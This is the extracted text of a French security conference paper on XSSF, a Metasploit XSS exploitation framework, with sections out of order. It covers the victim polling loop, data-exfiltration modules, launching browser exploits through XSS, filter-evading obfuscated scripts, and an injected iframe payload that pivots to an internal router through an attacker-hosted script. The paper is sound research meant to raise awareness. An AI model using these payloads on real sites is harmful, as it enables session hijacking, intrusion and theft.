Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 13: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

314 XSSF demontrer le danger des XSS

documentbodyappendChild(script)

victim_loop = setInterval(executeCode 5 1000)

Lors drsquoune nouvelle demande de la ressource loop une nouvelle victime estcreee cote serveur et lrsquoidentifiant est insere dans son cookie Crsquoest comme cela qursquoelleest ensuite reconnue par le serveur drsquoattaque XSSF lorsqursquoelle effectue une requete

Un identifiant de secours est insere dans les requetes ask et an-

swer afin de pouvoir quand meme gerer (dans la plupart des cas) les victimesnrsquoacceptant pas les cookies

Dans le code on peut srsquoapercevoir que la victime execute une fonction toutes les5 secondes Celle-ci a pour but drsquoaller chercher du contenu sur le serveur drsquoattaque etde lrsquoinserer dans une balise de script Le delai peut etre change par lrsquoattaquant lorsde lrsquoinjection dans la XSS (http101003624580loopinterval=x avec x lenombre de secondes entre chaque demande de commandes)

Comme nous lrsquoavons vu precedemment la SOP ne bloquant pas le contenu chargea partir drsquoune balise de script ou drsquoimage nous pouvons creer un canal avec la victimeLe serveur ne pourra jamais rien lui demander (car la victime nrsquoest pas un serveur ) mais en revanche rien nrsquoempeche la victime de demander des donnees au serveuret crsquoest ce qui se passe ici On remarquera lrsquourl rsquoaskrsquo qui sert donc a demander si denouvelles commandes sont disponibles et qui prend trois parametres (facultatifs) lrsquoun servant a localiser la victime un autre permettant de recharger le script et dene pas le prendre dans le cache (comme le fait IE entre autres) et le dernier etantlrsquoidentifiant de secours

Le lien etant en place ce seul morceau de code cote client sert a faire fonctionnerle framework Bien sur la ressource chargee lors de la requete ask est forcementun script mais ce script peut par exemple nous permettre de charger une autreressource nrsquoetant pas de type script (IFRAME IMG etc) La gestion de la facondont sont chargees les ressources est faite cote serveur et lrsquoattaquant nrsquoa pas a laconnaitre pour coder ses modules Nous verrons dans la partie suivante que tous lestypes de ressources peuvent etre envoyes par le serveur drsquoattaque

Bien que fonctionnel le framework serait peu utile srsquoil nrsquoetait pas possible derecevoir des reponses de la part des victimes (reponses a des attaques) Toujours acause de la SOP il est impossible drsquoutiliser un objet de type XMLHttpRequest afinde realiser un simple POST Ajax par exemple

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

C Mise a profit des nouveaux elements de partage de ressources entre domaines offertspar le HTML5 Grace a eux il sera possible de realiser un POST simplementen AJAX en utilisant lrsquoobjet XMLHttpRequest (ou XDomainRequest sur IE)Lrsquoavantage est que les donnees transferees peuvent avoir une taille importanteet que lrsquoutilisateur ne sera pas averti de lrsquoechange de donnees (en HTTP commeen HTTPS) Lrsquoinconvenient majeur a cette solution est qursquoelle est seulementcompatible avec les dernieres versions des navigateurs actuels (celles supportantla fonctionnalite de Cross-Origin Resource Sharing (C-ORS) )

HTTP HTTPS

SO

LU

TIO

NB

Co

mpa

tibl

eto

us

na

viga

teu

rs

C-ORS SUPPORTE C-ORS NON SUPPORTE

SOLUTION CIE 8+ FF 35+ Safari 4+

Chrome Android Browser 21+iOS Safari 32+

SOLUTION BoplusUtilisateur probablement averti oplus

IE 7- FF 3- Safari 32-Opera

Table 2 Solution retenue pour le retour des donnees depuis la victime vers XSSF

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

